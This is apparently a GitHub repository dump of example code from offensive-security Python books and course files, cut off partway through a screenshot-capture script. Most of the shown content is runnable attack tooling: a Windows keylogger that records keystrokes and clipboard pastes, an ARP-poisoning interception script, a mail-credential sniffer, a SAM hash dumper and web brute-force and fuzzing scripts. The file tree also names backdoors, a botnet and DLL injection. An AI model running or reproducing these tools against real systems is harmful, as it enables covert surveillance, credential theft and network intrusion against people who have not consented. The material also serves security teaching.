├── .gitignore ├── Black-Hat-Python ├── BHP-Code │ ├── .DS_Store │ ├── Chapter10 │ │ ├── .DS_Store │ │ ├── bhvulnservice.zip │ │ ├── file_monitor.py │ │ └── process_monitor.py │ ├── Chapter11 │ │ ├── .DS_Store │ │ ├── cmeasure.bin │ │ ├── code_coverage.py │ │ ├── code_inject.py │ │ └── grabhashes.py │ ├── Chapter2 │ │ ├── bhnet.py │ │ ├── listing-1-3.py │ │ └── proxy.py │ ├── Chapter3 │ │ ├── .DS_Store │ │ ├── scanner.py │ │ ├── sniffer.py │ │ ├── sniffer_ip_header_decode.py │ │ └── sniffer_with_icmp.py │ ├── Chapter4 │ │ ├── .DS_Store │ │ ├── arper.py │ │ ├── mail_sniffer.py │ │ └── pic_carver.py │ ├── Chapter5 │ │ ├── content_bruter.py │ │ ├── joomla_killer.py │ │ └── web_app_mapper.py │ ├── Chapter6 │ │ ├── .DS_Store │ │ ├── bhp_bing.py │ │ ├── bhp_fuzzer.py │ │ └── jython-standalone-2.7-b1.jar │ ├── Chapter7 │ │ └── git_trojan.py │ ├── Chapter8 │ │ ├── keylogger.py │ │ ├── sandbox_detect.py │ │ ├── screenshotter.py │ │ └── shell_exec.py │ └── Chapter9 │ │ ├── .DS_Store │ │ ├── cred_server.py │ │ ├── decryptor.py │ │ ├── ie_exfil.py │ │ ├── keygen.py │ │ └── mitb.py ├── README.md ├── bh-sshcmd.py ├── bh_sshRcmd.py ├── bh_sshserver.py ├── bhpnet.py ├── proxy.py ├── tcp-client.py ├── tcp-server.py ├── udp-client.py └── untitled-1.py ├── Grey-Hat-Python ├── chapter1-printf.py └── src │ ├── access_violation_handler.py │ ├── addnum.cpp │ ├── addnum.exe │ ├── addnum_function_call.py │ ├── backdoor.py │ ├── backdoor_shell.py │ ├── badchar.py │ ├── buffer_overflow.py │ ├── code_injector.py │ ├── cross_ref.py │ ├── dll_injector.py │ ├── file_fuzzer.py │ ├── file_hider.py │ ├── findinstruction.py │ ├── firefox_hook.py │ ├── func_coverage.py │ ├── ghp_inject.cpp │ ├── ghp_inject.dll │ ├── hippie_easy.py │ ├── injector.py │ ├── ioctl_dump.py │ ├── ioctl_fuzzer.py │ ├── my_debugger.py │ ├── my_debugger_defines.py │ ├── my_ioctl_fuzzer.py │ ├── my_test.py │ ├── printf_loop.py │ ├── printf_random.py │ ├── setup.py │ ├── stack_calc.py │ ├── sulley.zip │ └── upx_unpacker.py ├── README.md ├── Violent-Python ├── Chapter 1 │ ├── banner.py │ ├── crack.py │ ├── dictionary.txt │ ├── evil.zip │ ├── evil │ │ ├── evil.jpg │ │ └── note_to_adam.txt │ ├── os.py │ ├── passwords.txt │ ├── sha512-crack.py │ ├── shadow.txt │ ├── unzip.py │ └── vuln-banners.txt ├── Chapter 2 │ ├── port-scanner.py │ ├── python-nmap.py │ ├── ssh-bot.py │ └── ssh-test.py ├── README.md ├── Violent-Python-Examples │ ├── Chapter-1 │ │ ├── 1-vulnScanner.py │ │ ├── 2-passwdCrack.py │ │ ├── 3-zipCrack.py │ │ ├── dictionary.txt │ │ ├── evil.zip │ │ ├── passwords.txt │ │ └── vuln-banners.txt │ ├── Chapter-2 │ │ ├── 1-portScan.py │ │ ├── 2-nmapScan.py │ │ ├── 3-botNet.py │ │ ├── 3-bruteKey.py │ │ ├── 3-pxsshCommand.py │ │ ├── 3-sshBrute.py │ │ ├── 3-sshCommand.py │ │ ├── 4-anonLogin.py │ │ ├── 4-bruteLogin.py │ │ ├── 4-defaultPages.py │ │ ├── 4-injectPage.py │ │ ├── 4-massCompromise.py │ │ ├── 5-conficker.py │ │ ├── 6-freeFloat.py │ │ ├── pass.txt │ │ └── userpass.txt │ ├── Chapter-3 │ │ ├── 1-discoverNetworks.py │ │ ├── 2-dumpRecycleBin.py │ │ ├── 3-pdfRead.py │ │ ├── 4-exifFetch.py │ │ ├── 5-skypeParse.py │ │ ├── 6-firefoxParse.py │ │ ├── 7-iphoneMessages.py │ │ ├── firefox_profile.zip │ │ └── skype_profile.zip │ ├── Chapter-4 │ │ ├── 1-geoIP.py │ │ ├── 10-idsFoil.py │ │ ├── 2-printDirection.py │ │ ├── 3-geoPrint.py │ │ ├── 4-googleEarthPcap.py │ │ ├── 5-findDDoS.py │ │ ├── 6-spoofDetect.py │ │ ├── 7-testFastFlux.py │ │ ├── 8-testDomainFlux.py │ │ ├── 9-mitnickAttack.py │ │ ├── attack.pcap │ │ ├── domainFlux.pcap │ │ ├── download.pcap │ │ ├── fastFlux.pcap │ │ ├── geotest.kml │ │ ├── geotest.pcap │ │ └── hivemind.pcap │ ├── Chapter-5 │ │ ├── 1-testSniff.py │ │ ├── 10-iphoneFinder.py │ │ ├── 11-rfcommScan.py │ │ ├── 12-sdpScan.py │ │ ├── 13-ninjaPrint.py │ │ ├── 14-blueBug.py │ │ ├── 2-creditSniff.py │ │ ├── 3-hotelSniff.py │ │ ├── 4-googleSniff.py │ │ ├── 5-ftpSniff.py │ │ ├── 6-sniffHidden.py │ │ ├── 6-sniffProbe.py │ │ ├── 7-dup.py │ │ ├── 7-uavSniff.py │ │ ├── 8-fireCatcher.py │ │ ├── 9-btFind.py │ │ ├── 9-btScan.py │ │ └── dup.py │ ├── Chapter-6 │ │ ├── 1-viewPage.py │ │ ├── 10-sendMail.py │ │ ├── 10-sendSpam.py │ │ ├── 2-proxyTest.py │ │ ├── 3-userAgentTest.py │ │ ├── 4-printCookies.py │ │ ├── 5-kittenTest.py │ │ ├── 6-linkParser.py │ │ ├── 7-imageMirror.py │ │ ├── 8-anonGoogle.py │ │ ├── 8-googleJson.py │ │ ├── 8-googleJumbled.py │ │ ├── 9-twitterClass.py │ │ ├── 9-twitterGeo.py │ │ ├── 9-twitterInterests.py │ │ ├── 9-twitterRecon.py │ │ ├── anonBrowser.py │ │ ├── mlb-cities.txt │ │ └── twitterClass.py │ └── Chapter-7 │ │ ├── 1-bindshell.py │ │ └── 2-virusCheck.py └── hello.py └── cybrary ├── Module 2 Apprentice ├── Activities │ ├── Apprentice_Activities.py │ ├── Apprentice_Activities.pyc │ └── Apprentice_Activities_Tester.py └── Final │ └── Apprentice_Final_Activity.py ├── Module 3 Journeyman ├── Activities │ ├── JourneymanActivities.py │ ├── JourneymanActivitiesTester.py │ ├── JourneymanFinal.py │ ├── JourneymanFinalTester.py │ └── JourneymanStringServer.py └── Solutions │ ├── JourneymanActivitiesSolution.py │ └── JourneymanFinalSolution.py ├── Module 4 Advanced ├── Activities │ ├── AdvancedActivities.py │ ├── FinalClient.py │ ├── FinalServer.py │ └── passcracker.py └── Solutions │ ├── AdvancedActivitiesSolution.py │ ├── FinalClientSolution.py │ └── FinalServerSolution.py ├── Module 5 Packet Analyzer ├── PacketAnalyzer.py └── PacketAnalyzerSolution.py └── Module 6 Info Gather ├── InfoGather.py ├── InfoGatherClient.py └── InfoGatherServerSolution.py /Black-Hat-Python/BHP-Code/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter10/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter10/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter10/bhvulnservice.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter10/bhvulnservice.zip -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter10/process_monitor.py: -------------------------------------------------------------------------------- 1 | import win32con 2 | import win32api 3 | import win32security 4 | 5 | import wmi 6 | import sys 7 | import os 8 | 9 | LOG_FILE = "process_monitor_log.csv" 10 | 11 | def get_process_privileges(pid): 12 | try: 13 | # obtain a handle to the target process 14 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid) 15 | 16 | # open the main process token 17 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 18 | 19 | # retrieve the list of privileges enabled 20 | privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges) 21 | 22 | # iterate over privileges and output the ones that are enabled 23 | priv_list = [] 24 | for priv_id, priv_flags in privs: 25 | # check if the privilege is enabled 26 | if priv_flags == 3: 27 | priv_list.append(win32security.LookupPrivilegeName(None, priv_id)) 28 | 29 | except: 30 | priv_list.append("N/A") 31 | 32 | return "|".join(priv_list) 33 | 34 | def log_to_file(message): 35 | fd = open(LOG_FILE, "ab") 36 | fd.write("%s\r\n" % message) 37 | fd.close() 38 | 39 | return 40 | 41 | # create a log file header 42 | if not os.path.isfile(LOG_FILE): 43 | log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges") 44 | 45 | # instantiate the WMI interface 46 | c = wmi.WMI() 47 | 48 | # create our process monitor 49 | process_watcher = c.Win32_Process.watch_for("creation") 50 | 51 | 52 | while True: 53 | try: 54 | new_process = process_watcher() 55 | 56 | proc_owner = new_process.GetOwner() 57 | proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2]) 58 | create_date = new_process.CreationDate 59 | executable = new_process.ExecutablePath 60 | cmdline = new_process.CommandLine 61 | pid = new_process.ProcessId 62 | parent_pid = new_process.ParentProcessId 63 | 64 | privileges = get_process_privileges(pid) 65 | 66 | process_log_message = "%s,%s,%s,%s,%s,%s,%s" % (create_date, proc_owner, executable, cmdline, pid, parent_pid,privileges) 67 | 68 | print "%s\r\n" % process_log_message 69 | 70 | log_to_file(process_log_message) 71 | 72 | except: 73 | pass 74 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter11/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter11/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter11/cmeasure.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter11/cmeasure.bin -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter11/code_coverage.py: -------------------------------------------------------------------------------- 1 | from immlib import * 2 | 3 | class cc_hook(LogBpHook): 4 | 5 | def __init__(self): 6 | 7 | LogBpHook.__init__(self) 8 | self.imm = Debugger() 9 | 10 | def run(self,regs): 11 | 12 | self.imm.log("%08x" % regs['EIP'],regs['EIP']) 13 | self.imm.deleteBreakpoint(regs['EIP']) 14 | 15 | return 16 | 17 | def main(args): 18 | 19 | imm = Debugger() 20 | 21 | calc = imm.getModule("calc.exe") 22 | imm.analyseCode(calc.getCodebase()) 23 | 24 | functions = imm.getAllFunctions(calc.getCodebase()) 25 | 26 | hooker = cc_hook() 27 | 28 | for function in functions: 29 | hooker.add("%08x" % function, function) 30 | 31 | return "Tracking %d functions." % len(functions) 32 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter11/grabhashes.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | 4 | memory_file = "WinXPSP2.vmem" 5 | 6 | sys.path.append("/Downloads/volatility-2.3.1") 7 | 8 | import volatility.conf as conf 9 | import volatility.registry as registry 10 | 11 | registry.PluginImporter() 12 | config = conf.ConfObject() 13 | 14 | import volatility.commands as commands 15 | import volatility.addrspace as addrspace 16 | 17 | config.parse_options() 18 | config.PROFILE = "WinXPSP2x86" 19 | config.LOCATION = "file://%s" % memory_file 20 | 21 | registry.register_global_options(config, commands.Command) 22 | registry.register_global_options(config, addrspace.BaseAddressSpace) 23 | 24 | from volatility.plugins.registry.registryapi import RegistryApi 25 | from volatility.plugins.registry.lsadump import HashDump 26 | 27 | registry = RegistryApi(config) 28 | registry.populate_offsets() 29 | 30 | sam_offset = None 31 | sys_offset = None 32 | 33 | for offset in registry.all_offsets: 34 | 35 | if registry.all_offsets[offset].endswith("\\SAM"): 36 | sam_offset = offset 37 | print "[*] SAM: 0x%08x" % offset 38 | 39 | if registry.all_offsets[offset].endswith("\\system"): 40 | sys_offset = offset 41 | print "[*] System: 0x%08x" % offset 42 | 43 | if sam_offset is not None and sys_offset is not None: 44 | config.sys_offset = sys_offset 45 | config.sam_offset = sam_offset 46 | 47 | hashdump = HashDump(config) 48 | 49 | for hash in hashdump.calculate(): 50 | print hash 51 | 52 | break 53 | 54 | if sam_offset is None or sys_offset is None: 55 | print "[*] Failed to find the system or SAM offsets." -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter2/listing-1-3.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | server.bind((bind_ip,bind_port)) 10 | 11 | server.listen(5) 12 | 13 | print "[*] Listening on %s:%d" % (bind_ip,bind_port) 14 | 15 | # this is our client handling thread 16 | def handle_client(client_socket): 17 | 18 | # just print out what the client sends 19 | request = client_socket.recv(1024) 20 | 21 | print "[*] Received: %s" % request 22 | 23 | # send back a packet 24 | client_socket.send("ACK!") 25 | print client_socket.getpeername() 26 | client_socket.close() 27 | 28 | 29 | while True: 30 | 31 | client,addr = server.accept() 32 | 33 | print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1]) 34 | 35 | # spin up our client thread to handle incoming data 36 | client_handler = threading.Thread(target=handle_client,args=(client,)) 37 | client_handler.start() 38 | 39 | 40 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter3/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter3/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter3/sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # host to listen on 5 | host = "192.168.0.196" 6 | 7 | # create a raw socket and bind it to the public interface 8 | if os.name == "nt": 9 | socket_protocol = socket.IPPROTO_IP 10 | else: 11 | socket_protocol = socket.IPPROTO_ICMP 12 | 13 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 14 | 15 | sniffer.bind((host, 0)) 16 | 17 | # we want the IP headers included in the capture 18 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 19 | 20 | # if we're on Windows we need to send an IOCTL 21 | # to setup promiscuous mode 22 | if os.name == "nt": 23 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 24 | 25 | # read in a single packet 26 | print sniffer.recvfrom(65565) 27 | 28 | # if we're on Windows turn off promiscuous mode 29 | if os.name == "nt":  30 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 31 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter3/sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | from ctypes import * 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | class IP(Structure): 10 | 11 | _fields_ = [ 12 | ("ihl", c_ubyte, 4), 13 | ("version", c_ubyte, 4), 14 | ("tos", c_ubyte), 15 | ("len", c_ushort), 16 | ("id", c_ushort), 17 | ("offset", c_ushort), 18 | ("ttl", c_ubyte), 19 | ("protocol_num", c_ubyte), 20 | ("sum", c_ushort), 21 | ("src", c_ulong), 22 | ("dst", c_ulong) 23 | ] 24 | 25 | def __new__(self, socket_buffer=None): 26 | return self.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | 30 | # map protocol constants to their names 31 | self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} 32 | 33 | # human readable IP addresses 34 | self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 71 | 72 | except KeyboardInterrupt: 73 | # if we're on Windows turn off promiscuous mode 74 | if os.name == "nt": 75 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 76 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter4/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter4/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter4/arper.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import os 3 | import sys 4 | import threading 5 | 6 | interface = "en1" 7 | target_ip = "172.16.1.71" 8 | gateway_ip = "172.16.1.254" 9 | packet_count = 1000 10 | poisoning = True 11 | 12 | def restore_target(gateway_ip,gateway_mac,target_ip,target_mac): 13 | 14 | # slightly different method using send 15 | print "[*] Restoring target..." 16 | send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5) 17 | send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5) 18 | 19 | def get_mac(ip_address): 20 | 21 | responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10) 22 | 23 | # return the MAC address from a response 24 | for s,r in responses: 25 | return r[Ether].src 26 | 27 | return None 28 | 29 | def poison_target(gateway_ip,gateway_mac,target_ip,target_mac): 30 | global poisoning 31 | 32 | poison_target = ARP() 33 | poison_target.op = 2 34 | poison_target.psrc = gateway_ip 35 | poison_target.pdst = target_ip 36 | poison_target.hwdst= target_mac 37 | 38 | poison_gateway = ARP() 39 | poison_gateway.op = 2 40 | poison_gateway.psrc = target_ip 41 | poison_gateway.pdst = gateway_ip 42 | poison_gateway.hwdst= gateway_mac 43 | 44 | print "[*] Beginning the ARP poison. [CTRL-C to stop]" 45 | 46 | while poisoning: 47 | send(poison_target) 48 | send(poison_gateway) 49 | 50 | time.sleep(2) 51 | 52 | print "[*] ARP poison attack finished." 53 | 54 | return 55 | 56 | # set our interface 57 | conf.iface = interface 58 | 59 | # turn off output 60 | conf.verb = 0 61 | 62 | print "[*] Setting up %s" % interface 63 | 64 | gateway_mac = get_mac(gateway_ip) 65 | 66 | if gateway_mac is None: 67 | print "[!!!] Failed to get gateway MAC. Exiting." 68 | sys.exit(0) 69 | else: 70 | print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac) 71 | 72 | target_mac = get_mac(target_ip) 73 | 74 | if target_mac is None: 75 | print "[!!!] Failed to get target MAC. Exiting." 76 | sys.exit(0) 77 | else: 78 | print "[*] Target %s is at %s" % (target_ip,target_mac) 79 | 80 | # start poison thread 81 | poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac)) 82 | poison_thread.start() 83 | 84 | try: 85 | print "[*] Starting sniffer for %d packets" % packet_count 86 | 87 | bpf_filter = "ip host %s" % target_ip 88 | packets = sniff(count=packet_count,filter=bpf_filter,iface=interface) 89 | 90 | except KeyboardInterrupt: 91 | pass 92 | 93 | finally: 94 | # write out the captured packets 95 | print "[*] Writing packets to arper.pcap" 96 | wrpcap('arper.pcap',packets) 97 | 98 | poisoning = False 99 | 100 | # wait for poisoning thread to exit 101 | time.sleep(2) 102 | 103 | # restore the network 104 | restore_target(gateway_ip,gateway_mac,target_ip,target_mac) 105 | sys.exit(0) 106 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter4/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from scapy.all import * 3 | 4 | # our packet callback 5 | def packet_callback(packet): 6 | 7 | if packet[TCP].payload: 8 | 9 | mail_packet = str(packet[TCP].payload) 10 | 11 | if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 12 | 13 | print "[*] Server: %s" % packet[IP].dst 14 | print "[*] %s" % packet[TCP].payload 15 | 16 | 17 | # fire up our sniffer 18 | sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0) -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter5/content_bruter.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import urllib 3 | import threading 4 | import Queue 5 | 6 | threads = 5 7 | target_url = "http://testphp.vulnweb.com" 8 | wordlist_file = "/tmp/all.txt" # from SVNDigger 9 | resume = None 10 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 11 | 12 | def build_wordlist(wordlist_file): 13 | 14 | # read in the word list 15 | fd = open(wordlist_file,"rb") 16 | raw_words = fd.readlines() 17 | fd.close() 18 | 19 | found_resume = False 20 | words = Queue.Queue() 21 | 22 | for word in raw_words: 23 | 24 | word = word.rstrip() 25 | 26 | if resume is not None: 27 | 28 | if found_resume: 29 | words.put(word) 30 | else: 31 | if word == resume: 32 | found_resume = True 33 | print "Resuming wordlist from: %s" % resume 34 | 35 | else: 36 | words.put(word) 37 | 38 | return words 39 | 40 | 41 | def dir_bruter(extensions=None): 42 | 43 | while not word_queue.empty(): 44 | attempt = word_queue.get() 45 | 46 | attempt_list = [] 47 | 48 | # check if there is a file extension if not 49 | # it's a directory path we're bruting 50 | if "." not in attempt: 51 | attempt_list.append("/%s/" % attempt) 52 | else: 53 | attempt_list.append("/%s" % attempt) 54 | 55 | # if we want to bruteforce extensions 56 | if extensions: 57 | for extension in extensions: 58 | attempt_list.append("/%s%s" % (attempt,extension)) 59 | 60 | # iterate over our list of attempts 61 | for brute in attempt_list: 62 | 63 | url = "%s%s" % (target_url,urllib.quote(brute)) 64 | 65 | try: 66 | headers = {} 67 | headers["User-Agent"] = user_agent 68 | r = urllib2.Request(url,headers=headers) 69 | 70 | 71 | response = urllib2.urlopen(r) 72 | 73 | if len(response.read()): 74 | print "[%d] => %s" % (response.code,url) 75 | 76 | except urllib2.HTTPError,e: 77 | 78 | if e.code != 404: 79 | print "!!! %d => %s" % (e.code,url) 80 | 81 | pass 82 | 83 | 84 | word_queue = build_wordlist(wordlist_file) 85 | extensions = [".php",".bak",".orig",".inc"] 86 | 87 | for i in range(threads): 88 | t = threading.Thread(target=dir_bruter,args=(extensions,)) 89 | t.start() -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter5/web_app_mapper.py: -------------------------------------------------------------------------------- 1 | import Queue 2 | import threading 3 | import os 4 | import urllib2 5 | 6 | threads = 10 7 | 8 | target = "http://www.test.com" 9 | directory = "/Users/justin/Downloads/joomla-3.1.1" 10 | filters = [".jpg",".gif","png",".css"] 11 | 12 | os.chdir(directory) 13 | 14 | web_paths = Queue.Queue() 15 | 16 | for r,d,f in os.walk("."): 17 | for files in f: 18 | remote_path = "%s/%s" % (r,files) 19 | if remote_path.startswith("."): 20 | remote_path = remote_path[1:] 21 | if os.path.splitext(files)[1] not in filters: 22 | web_paths.put(remote_path) 23 | 24 | def test_remote(): 25 | while not web_paths.empty(): 26 | path = web_paths.get() 27 | url = "%s%s" % (target, path) 28 | 29 | request = urllib2.Request(url) 30 | 31 | try: 32 | response = urllib2.urlopen(request) 33 | content = response.read() 34 | 35 | print "[%d] => %s" % (response.code,path) 36 | 37 | response.close() 38 | 39 | except urllib2.HTTPError as error: 40 | #print "Failed %s" % error.code 41 | pass 42 | 43 | 44 | 45 | for i in range(threads): 46 | print "Spawning thread: %d" % i 47 | t = threading.Thread(target=test_remote) 48 | t.start() 49 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter6/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter6/.DS_Store -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter6/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | #http://search.maven.org/remotecontent?filepath=org/python/jython-standalone/2.7-b1/jython-standalone-2.7-b1.jar 2 | from burp import IBurpExtender 3 | from burp import IIntruderPayloadGeneratorFactory 4 | from burp import IIntruderPayloadGenerator 5 | 6 | from java.util import List, ArrayList 7 | 8 | import random 9 | 10 | 11 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 12 | def registerExtenderCallbacks(self, callbacks): 13 | self._callbacks = callbacks 14 | self._helpers = callbacks.getHelpers() 15 | 16 | callbacks.registerIntruderPayloadGeneratorFactory(self) 17 | 18 | return 19 | 20 | def getGeneratorName(self): 21 | return "BHP Payload Generator" 22 | 23 | def createNewInstance(self, attack): 24 | return BHPFuzzer(self, attack) 25 | 26 | class BHPFuzzer(IIntruderPayloadGenerator): 27 | def __init__(self, extender, attack): 28 | self._extender = extender 29 | self._helpers = extender._helpers 30 | self._attack = attack 31 | print "BHP Fuzzer initialized" 32 | self.max_payloads = 1000 33 | self.num_payloads = 0 34 | 35 | return 36 | 37 | 38 | def hasMorePayloads(self): 39 | print "hasMorePayloads called." 40 | if self.num_payloads == self.max_payloads: 41 | print "No more payloads." 42 | return False 43 | else: 44 | print "More payloads. Continuing." 45 | return True 46 | 47 | 48 | def getNextPayload(self,current_payload): 49 | 50 | # convert into a string 51 | payload = "".join(chr(x) for x in current_payload) 52 | 53 | # call our simple mutator to fuzz the POST 54 | payload = self.mutate_payload(payload) 55 | 56 | # increase the number of fuzzing attempts 57 | self.num_payloads += 1 58 | 59 | return payload 60 | 61 | def reset(self): 62 | 63 | self.num_payloads = 0 64 | 65 | return 66 | 67 | def mutate_payload(self,original_payload): 68 | 69 | # pick a simple mutator or even call an external script 70 | # like Radamsa does 71 | picker = random.randint(1,3) 72 | 73 | # select a random offset in the payload to mutate 74 | offset = random.randint(0,len(original_payload)-1) 75 | payload = original_payload[:offset] 76 | 77 | # random offset insert a SQL injection attempt 78 | if picker == 1: 79 | payload += "'" 80 | 81 | # jam an XSS attempt in 82 | if picker == 2: 83 | payload += ""; 84 | 85 | # repeat a chunk of the original payload a random number 86 | if picker == 3: 87 | 88 | chunk_length = random.randint(len(payload[offset:]),len(payload)-1) 89 | repeater = random.randint(1,10) 90 | 91 | for i in range(repeater): 92 | payload += original_payload[offset:offset+chunk_length] 93 | 94 | # add the remaining bits of the payload 95 | payload += original_payload[offset:] 96 | 97 | return payload 98 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter6/jython-standalone-2.7-b1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Black-Hat-Python/BHP-Code/Chapter6/jython-standalone-2.7-b1.jar -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter8/keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import pythoncom 3 | import pyHook 4 | import win32clipboard 5 | 6 | user32 = windll.user32 7 | kernel32 = windll.kernel32 8 | psapi = windll.psapi 9 | current_window = None 10 | 11 | def get_current_process(): 12 | 13 | # get a handle to the foreground window 14 | hwnd = user32.GetForegroundWindow() 15 | 16 | # find the process ID 17 | pid = c_ulong(0) 18 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 19 | 20 | # store the current process ID 21 | process_id = "%d" % pid.value 22 | 23 | # grab the executable 24 | executable = create_string_buffer("\x00" * 512) 25 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 26 | 27 | psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 28 | 29 | # now read it's title 30 | window_title = create_string_buffer("\x00" * 512) 31 | length = user32.GetWindowTextA(hwnd, byref(window_title),512) 32 | 33 | # print out the header if we're in the right process 34 | print 35 | print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) 36 | print 37 | 38 | 39 | # close handles 40 | kernel32.CloseHandle(hwnd) 41 | kernel32.CloseHandle(h_process) 42 | 43 | def KeyStroke(event): 44 | 45 | global current_window 46 | 47 | # check to see if target changed windows 48 | if event.WindowName != current_window: 49 | current_window = event.WindowName 50 | get_current_process() 51 | 52 | # if they pressed a standard key 53 | if event.Ascii > 32 and event.Ascii < 127: 54 | print chr(event.Ascii), 55 | else: 56 | # if [Ctrl-V], get the value on the clipboard 57 | # added by Dan Frisch 2014 58 | if event.Key == "V": 59 | win32clipboard.OpenClipboard() 60 | pasted_value = win32clipboard.GetClipboardData() 61 | win32clipboard.CloseClipboard() 62 | print "[PASTE] - %s" % (pasted_value), 63 | else: 64 | print "[%s]" % event.Key, 65 | 66 | # pass execution to next hook registered 67 | return True 68 | 69 | # create and register a hook manager 70 | kl = pyHook.HookManager() 71 | kl.KeyDown = KeyStroke 72 | 73 | # register the hook and execute forever 74 | kl.HookKeyboard() 75 | pythoncom.PumpMessages() 76 | -------------------------------------------------------------------------------- /Black-Hat-Python/BHP-Code/Chapter8/screenshotter.py: -------------------------------------------------------------------------------- 1 | import win32gui 2 | import win32ui 3 | import win32con 4 | import win32api 5 | 6 | # grab a handle to the main desktop window 7 | hdesktop = win32gui.GetDesktopWindow() 8 | 9 | # determine the size of all monitors in pixels 10 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 11 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 12 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 13 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 14 | 15 | # create a 